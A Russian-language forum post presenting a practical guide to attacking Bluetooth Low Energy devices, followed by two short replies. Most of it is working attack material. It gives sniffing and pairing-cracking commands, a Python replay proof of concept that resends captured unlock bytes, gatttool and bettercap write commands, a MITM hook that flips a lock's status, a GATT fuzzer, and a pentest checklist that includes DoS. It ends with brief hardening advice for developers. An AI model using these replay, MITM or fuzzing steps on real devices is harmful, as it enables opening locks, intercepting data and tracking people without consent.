LIMB
Вход Регистрация

тема

Анатомия невидимого эфира: практическое руководство по атакам на BLE

b4d-4ppl3 · · 2 ответов · 466 просмотров

Всем привет. Давно хотел собрать в одном месте всё что знаю про безопасность Bluetooth Low Energy — не очередной пересказ «что такое BLE» из вики, а именно практику с инструментами, командами и кодом. Получилось объёмно, но, надеюсь, полезно.

Зачем вообще ковырять BLE

BLE сейчас буквально везде — умные замки, трекеры, наушники, медицинские девайсы, зубные щётки, секс-игрушки (да, и их тоже ломают). Миллиарды устройств орут в эфир 24/7 «я тут, подключайся». При этом безопасность у большинства — на уровне «авось никто не полезет».
Flipper Zero конечно вывел тему в массы, но создал иллюзию что всё просто — нажал кнопку, открыл шлагбаум. В реальности 90% того что показывают в тиктоке это либо replay на древних устройствах, либо BLE Spam который просто спамит уведомлениями. Настоящий аудит — это совсем другая история.

Немного теории (без этого никуда)

Каналы

BLE работает в 2.4 ГГц, 40 каналов. Для нас важно разделение:
Advertising каналы (37, 38, 39) — тут устройства кричат «я существую». Разнесены по спектру чтобы не пересекаться с Wi-Fi. Для атакующего это значит что «дверь» всегда в трёх известных местах.
Data каналы (0-36) — используются после соединения, прыгают по частотам (FHSS).
Вывод простой: любая атака начинается с прослушки каналов 37, 38, 39.

Пакет CONNECT_IND — самое важное
Когда телефон подключается к устройству, он шлёт пакет CONNECT_IND. В нём Access Address, параметры прыжков по каналам, всё что нужно чтобы следить за соединением. Если сниффер пропустил этот единственный пакет — всё, соединение для него невидимо. Поэтому сниффер должен работать ДО того как произойдёт подключение.

GATT — где живут баги
GATT — это по сути таблица с данными устройства. Сервисы → характеристики → значения. Главная проблема: разработчики забывают ставить флаги шифрования и аутентификации. OTA-обновление прошивки доступно любому подключившемуся. «Секретные» UUID передаются открытым текстом. Security by obscurity во всей красе.

Железо
Встроенный Bluetooth в ноутбуке бесполезен для сниффинга — драйвера не дают доступ к Link Layer.
nRF52840 Dongle (~$10) — золотой стандарт. Поддерживает BLE 5 полностью, отличная интеграция с Wireshark. За десять баксов получаете профессиональный анализатор.
Ubertooth One (~$120) — легенда, но устарел. Не видит BLE 5 (2M PHY, Coded PHY). За эти деньги лучше купить 12 nRF-донглов.
Flipper Zero (~$170) — хорош для полевой разведки и wardriving. Не полноценный анализатор трафика — это инструмент для активного воздействия.
ESP32 (~$5) — бюджетный вариант для стационарного мониторинга и BLE Spam.

Настройка сниффера (nRF52840 + Wireshark)
Прошивка донгла:
wget https://nsscprodmedia.blob.core.windows.net/.../nrf_sniffer_for_bluetooth_le_4.1.1.zip
unzip nrf_sniffer_for_bluetooth_le_4.1.1.zip
nrfutil dfu serial -pkg sniffer_nrf52840dongle_nrf52840_4.1.1.zip -p /dev/ttyACM0 -b 115200
Плагин Wireshark:
pip install pyserial
cp -r extcap/* ~/.local/lib/wireshark/extcap/
chmod +x ~/.local/lib/wireshark/extcap/nrf_sniffer_ble.sh
После этого в Wireshark появится интерфейс «nRF Sniffer for Bluetooth LE». Выбираете целевое устройство из списка и ловите пакеты.

Фильтры Wireshark для BLE — шпаргалка
btle.advertising_header.pdu_type == 0x05 — CONNECT_IND
btatt.opcode == 0x12 — Write Request (команды на устройство)
btatt.opcode == 0x52 — Write Command (без ACK)
btatt.opcode == 0x0b — Read Response
btatt.opcode == 0x1b — Handle Value Notification
btatt.handle == 0x0025 — конкретный Handle
btsmp — все пакеты спаривания
btle.advertising_address == aa:bb:cc:dd:ee:ff — по MAC

Дешифровка трафика
Legacy Pairing (BLE 4.0/4.1) — рай для хакера
Just Works — ключ TK равен нулю. Wireshark сам выведет STK и расшифрует всё. Это буквально отсутствие защиты.
Passkey Entry — 6-значный PIN, миллион комбинаций. Брутится мгновенно.
Инструмент crackle делает это автоматически:
git clone https://github.com/mikeryan/crackle.git
cd crackle && make
# Автоматический брутфорс из pcap
./crackle -i capture.pcap -o decrypted.pcap
# Если известен TK (Just Works = 0)
./crackle -i capture.pcap -o decrypted.pcap -t 000000
На выходе — pcap с расшифрованным GATT-трафиком. Открываете в Wireshark и видите все команды в открытом виде.

LE Secure Connections (BLE 4.2+)
ECDH делает пассивный перехват математически невозможным. Тут только два пути — активная MITM-атака или вытаскивать ключи прямо с устройства (JTAG/SWD).

HCI Snoop Log — золотая жила Android
Это путь наименьшего сопротивления. Телефон — доверенный участник сети, он видит всё в открытом виде до того как данные уходят в радио-чип. И Android это отдаёт бесплатно.
# 1. Включить: Настройки > Для разработчиков > Журнал HCI Bluetooth
# 2. Поработать с BLE-устройством (открыть замок, прочитать датчик)
# 3. Забрать лог:
adb pull /data/misc/bluetooth/logs/btsnoop_hci.log ./
# Или без root через bugreport:
adb bugreport bugreport.zip
# Лог внутри: FS/data/misc/bluetooth/logs/
Дальше парсим tshark-ом:
# Все Write Request — это команды которые приложение шлёт на устройство
tshark -r btsnoop_hci.log -Y 'btatt.opcode == 0x12' \
    -T fields -e btatt.handle -e btatt.value
# Вывод типа:
# 0x0025 55100100aa
# 0x0025 55100100bb
# Это и есть ваши replay-payload
# Статистика по типам операций:
tshark -r btsnoop_hci.log -Y 'btatt' \
    -T fields -e btatt.opcode | sort | uniq -c | sort -rn
# Извлечь сервисы и характеристики:
tshark -r btsnoop_hci.log -Y 'btatt.opcode == 0x09' \
    -T fields -e btatt.handle -e btatt.uuid16 -e btatt.uuid128
Вот теперь вы видите что именно приложение отправляет устройству, в каком порядке и в какие handle. Это основа для всего дальнейшего.

Replay-атаки

Почему они работают
Link Layer защищён счётчиками пакетов — просто переиграть радиосигнал не выйдет. Но уязвимость этажом выше — в Application Layer. Если приложение шифрует команду «Unlock» статическим ключом без nonce/timestamp/sequence number — шифротекст всегда одинаковый. Перехватил → подключился → записал те же байты в тот же handle → готово.

Кейс Master Lock D1000
Классика жанра. Замок использовал AES-CCM — стойкий алгоритм! Но nonce при каждом новом соединении инициализировался одним и тем же значением. Атака: записываешь сессию легитимного открытия, потом подключаешься заново (nonce сбрасывается), проигрываешь записанные команды — замок открывается. Стойкий алгоритм абсолютно бесполезен если нарушена уникальность nonce.

PoC: Python + Bleak
#!/usr/bin/env python3
"""BLE Replay PoC — разведка + replay"""
import asyncio
from bleak import BleakClient, BleakScanner
TARGET = "AA:BB:CC:DD:EE:FF"
async def scan_nearby():
    """Найти все BLE-устройства рядом"""
    devices = await BleakScanner.discover(timeout=10.0)
    for d in devices:
        print(f" {d.address} RSSI:{d.rssi:>4} {d.name or 'N/A'}")
async def recon(address):
    """Дамп GATT-таблицы"""
    async with BleakClient(address) as client:
        print(f"Connected, MTU: {client.mtu_size}")
        for svc in client.services:
            print(f"\n Service: {svc.uuid}")
            for char in svc.characteristics:
                props = ", ".join(char.properties)
                print(f" Char: {char.uuid}")
                print(f" Handle: 0x{char.handle:04x} [{props}]")
                if "read" in char.properties:
                    try:
                        val = await client.read_gatt_char(char)
                        print(f" Value: {val.hex()}")
                    except: pass
async def replay(address, char_uuid, payload_hex):
    """Отправка перехваченного payload"""
    payload = bytearray.fromhex(payload_hex)
    async with BleakClient(address) as client:
        await client.write_gatt_char(char_uuid, payload)
        print("Payload sent!")
asyncio.run(scan_nearby())
asyncio.run(recon(TARGET))
# После анализа HCI snoop:
# asyncio.run(replay(TARGET, "0000ffe1-0000-1000-8000-00805f9b34fb", "55100100aa"))

gatttool — быстрый вариант из терминала
# Разведка
gatttool -b AA:BB:CC:DD:EE:FF --characteristics
# Прочитать handle
gatttool -b AA:BB:CC:DD:EE:FF --char-read -a 0x0025
# Replay
gatttool -b AA:BB:CC:DD:EE:FF --char-write-req -a 0x0025 -n 55100100aa
# Или интерактивно:
gatttool -b AA:BB:CC:DD:EE:FF -I
connect
 primary
 characteristics
 char-write-req 0x0025 55100100aa

BLE-Replay от NCC Group
Автоматизирует весь процесс:
git clone https://github.com/nccgroup/BLE-Replay.git
cd BLE-Replay
python ble-replay.py --capture -o session.json
python ble-replay.py --show session.json
python ble-replay.py --replay session.json

MITM

Когда replay не катит (устройство использует Secure Connections или динамические токены), переходим к MITM.

Клонируете целевое устройство (MAC, имя, GATT-структуру), поднимаете фейк. Телефон подключается к вашему фейку, вы подключаетесь к реальному устройству. Два независимых шифрованных канала, а посередине — вы с данными в открытом виде.

Gattacker — пошагово
Нужны два BLE-адаптера.
git clone https://github.com/nicbhoc/gattacker.git
cd gattacker && npm install
# Сканирование и дамп цели в JSON
node ws-slave.js
# Поднять клона
node advertise.js -a devices/aabbccddeeff.json
Хук для модификации данных на лету:
// hooks/my_hook.js
module.exports = {
    onWrite: function(device, handle, value) {
        console.log('Write to ' + handle + ': ' + value.toString('hex'));
        return value;
    },
    onRead: function(device, handle, value) {
        // Подмена статуса "закрыт" на "открыт"
        if (handle === 42 && value[0] === 0x00) value[0] = 0x01;
        return value;
    }
};

Bumble от Google
Полный контроль над стеком на Python:
pip install bumble
# Прозрачный GATT Proxy
bumble-gatt-proxy usb:0 --target-address AA:BB:CC:DD:EE:FF
Кастомная разведка:
import asyncio
from bumble.device import Device
from bumble.transport import open_transport_or_link
async def main():
    async with await open_transport_or_link("usb:0") as (hci_src, hci_sink):
        device = Device(name="Scanner", host=hci_src)
        await device.power_on()
        target = await device.connect("AA:BB:CC:DD:EE:FF")
        peer = await target.discover_services()
        for svc in peer.services:
            print(f"Service: {svc.uuid}")
            for ch in svc.characteristics:
                print(f" Char: {ch.uuid} {ch.properties}")
asyncio.run(main())

Bettercap
sudo bettercap
ble.recon on
ble.show
ble.enum AA:BB:CC:DD:EE:FF
ble.read AA:BB:CC:DD:EE:FF 0025
ble.write AA:BB:CC:DD:EE:FF 0025 55100100aa
Downgrade Attack
Находясь в MITM, модифицируете Feature Exchange — говорите телефону что замок не поддерживает шифрование или умеет только Legacy Pairing. Если приложение не требует жёстко Security Mode 1 Level 4, оно согласится на незащищённое соединение.

Продвинутые атаки на протокол

BLESA (BLE Spoofing Attack)
Проблема в процедуре переподключения. Когда устройство теряет связь и восстанавливает, многие стеки (BlueZ, ранние iOS/Android) делали аутентификацию реактивной — только если сервер попросит.
Атака: ждёте пока телефон отключится от гаджета, начинаете advertise с его MAC, телефон подключается к вам, вы не запрашиваете шифрование — телефон продолжает работу по открытому каналу. Спуфинг данных датчиков без знания ключей.
WhisperPair (CVE-2025-36911)
Сегодня миллионы аудиоустройств (Sony, JBL, Nothing). Уязвимые прошивки принимают запросы Google Fast Pair всегда, игнорируя режим сопряжения. Атакующий шлёт специальный пакет — наушники жертвы принудительно спариваются с ним. Полный доступ к аудио, микрофону, плюс трекинг через Find My Device.

Stealtooth
Атака на автоматическое сопряжение. При потере связи устройства переходят в режим приёма новых ключей. Атакующий вызывает разрыв (Jamming) и перезаписывает Link Key своим.

Трекинг

MAC Randomization не спасает
Исследование Бостонского университета: устройство меняет MAC (A на B), но payload остаётся тем же — Manufacturer Specific Data, счётчик пакетов, версия прошивки. Наблюдатель связывает адреса через payload и продолжает слежку.
Стилусы типа Surface Pen и Apple Pencil вообще транслируют статические ID для быстрого обнаружения планшетом. Уникально идентифицируют владельца в толпе.

Фаззинг BLE
#!/usr/bin/env python3
"""Простой GATT-фаззер"""
import asyncio, os
from bleak import BleakClient
TARGET = "AA:BB:CC:DD:EE:FF"
PAYLOADS = [
    b"", # пустой
    b"\x00", # нулевой байт
    b"\xff" * 20, # 20 байт 0xFF
    b"\xff" * 255, # максимум ATT MTU
    os.urandom(20), # случайные 20 байт
    os.urandom(100), # случайные 100 байт
    b"\x41" * 50, # переполнение?
    bytes(range(256))[:20], # последовательность
]
async def fuzz():
    async with BleakClient(TARGET) as client:
        for svc in client.services:
            for char in svc.characteristics:
                if "write" not in char.properties:
                    continue
                print(f"Fuzzing: {char.uuid}")
                for i, pl in enumerate(PAYLOADS):
                    try:
                        await client.write_gatt_char(char, pl)
                        print(f" [{i}] {pl[:16].hex()}... OK")
                    except Exception as e:
                        print(f" [{i}] ERROR: {e}")
                    await asyncio.sleep(0.3)
asyncio.run(fuzz())
Для ATT-фаззинга можно генерить malformed PDU — невалидные opcode, handle 0x0000/0xFFFF, oversized MTU Exchange и скармливать через Bumble или сырой L2CAP сокет.

Чеклист пентеста BLE

Phase 0 — Passive Recon:
Сканирование (hcitool lescan / Bleak)
Захват Advertising Data: MAC, имя, UUID, Manufacturer Data
Проверка MAC Randomization
Пассивный сниффинг nRF52840 + Wireshark
Захват CONNECT_IND
Phase 1 — Active Recon:
Дамп GATT-таблицы (Bleak / gatttool / Bettercap)
Все Services, Characteristics, Descriptors
Права доступа каждой характеристики
Чтение всех readable
Подписка на Notify/Indicate
Поиск OTA DFU Service
Device Information Service
Phase 2 — Анализ:
HCI Snoop Log
tshark: извлечение payload
Формат команд — статические или динамические?
Есть ли nonce/counter/timestamp?
Legacy или Secure Connections?
Phase 3 — Эксплуатация:
Replay-атака
Запись в незащищённые характеристики
Фаззинг
MITM через Gattacker/Bumble
Downgrade Attack
BLESA при переподключении
OTA DFU без аутентификации
DoS: L2CAP flooding, BLE Spam
Phase 4 — Пост:
Извлечение ключей из прошивки (JTAG/SWD)
Статические ключи в firmware
PoC-скрипты для каждого вектора

Для разработчиков если вдруг читают:

1.Security Mode 1 Level 4. Только Secure Connections с Numeric Comparison. Никакого Legacy Pairing.
2.Шифруйте команды на уровне приложения (AES-GCM, ChaCha20) с динамическими nonce. Не доверяйте Link Layer.
3.Удалите уникальные ID из advertising. Меняйте payload синхронно с MAC.
4.Строгая аутентификация при reconnection — защита от BLESA.
5.GATT Permissions: ENCRYPTED | AUTHENTICATED на всё чувствительное.
6.OTA DFU только с проверкой подписи.
Самый короткий путь к взлому BLE-устройства — не через слом AES, а через логическую ошибку в GATT-таблице. Помните об этом.

Ссылки на инструменты:
nRF Sniffer — nordicsemi.com
crackle — github.com/mikeryan/crackle
Gattacker — github.com/securing/gattacker
Bumble — google.github.io/bumble
BLE-Replay — github.com/nccgroup/BLE-Replay
Bettercap — bettercap.org/modules/ble
Bleak — github.com/hbldh/bleak
👍24 😮4 💯4
материл интересный, жаль что плохо оформлен
все сливается
Очередная плохо оформленная ИИ-паста. Автор, на что вы надеетесь когда публикуете такое, да ещё и оплату требуете?
👍3

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.